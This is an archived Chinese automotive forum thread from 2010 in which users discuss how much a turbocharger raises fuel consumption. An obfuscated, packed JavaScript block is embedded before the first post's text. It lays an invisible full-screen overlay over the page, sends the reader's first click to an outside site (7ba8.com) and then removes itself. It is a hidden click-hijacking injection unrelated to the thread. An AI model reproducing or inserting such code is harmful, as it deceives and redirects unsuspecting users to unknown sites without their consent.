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标题: T的问题 [打印本页]

作者: 百米内夺你贞操 时间: 2010-5-9 17:48
标题: T的问题
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>涡轮增压器最直接的作用就是提高车辆的动力性能，与自然吸气发动机相比，带有涡轮的发动机可以使发动机的最大功率提高30%~40%，甚至更多，尤其是在高海拔空气稀薄的地区优势更加明显，同时它相对于自然吸气发动机还拥有更低的扭矩爆发点，以及更加宽泛的扭矩平原，这些特性使得它在日常使用时提速更快，动力性也就感觉更好.

但是!!!!!
装了T之后车子的油耗会提升到一个什么地步咧,如果只是3000多转换档的话..

求解

作者: zeushan 时间: 2010-5-9 17:52
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作者: 诺诺 时间: 2010-5-9 18:02
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作者: 诺诺 时间: 2010-5-9 18:04
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作者: 百米内夺你贞操 时间: 2010-5-9 18:20
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完全养不起啊我去

作者: 弋凝single 时间: 2010-5-9 18:45
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我的1.8T也才11不到阿~~~
4.5的途乐~~狠踩油门也才26左右~~

作者: zeushan 时间: 2010-5-9 18:46
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诺诺的是SUPRA吧，更快更猛更耗油

作者: 诺诺 时间: 2010-5-9 19:02
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作者: Andy123 时间: 2010-5-9 19:11
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turbo车也可以很有效率（很省油），vw的TFSI技术就是一个例子。

作者: MR33 时间: 2010-5-9 22:02
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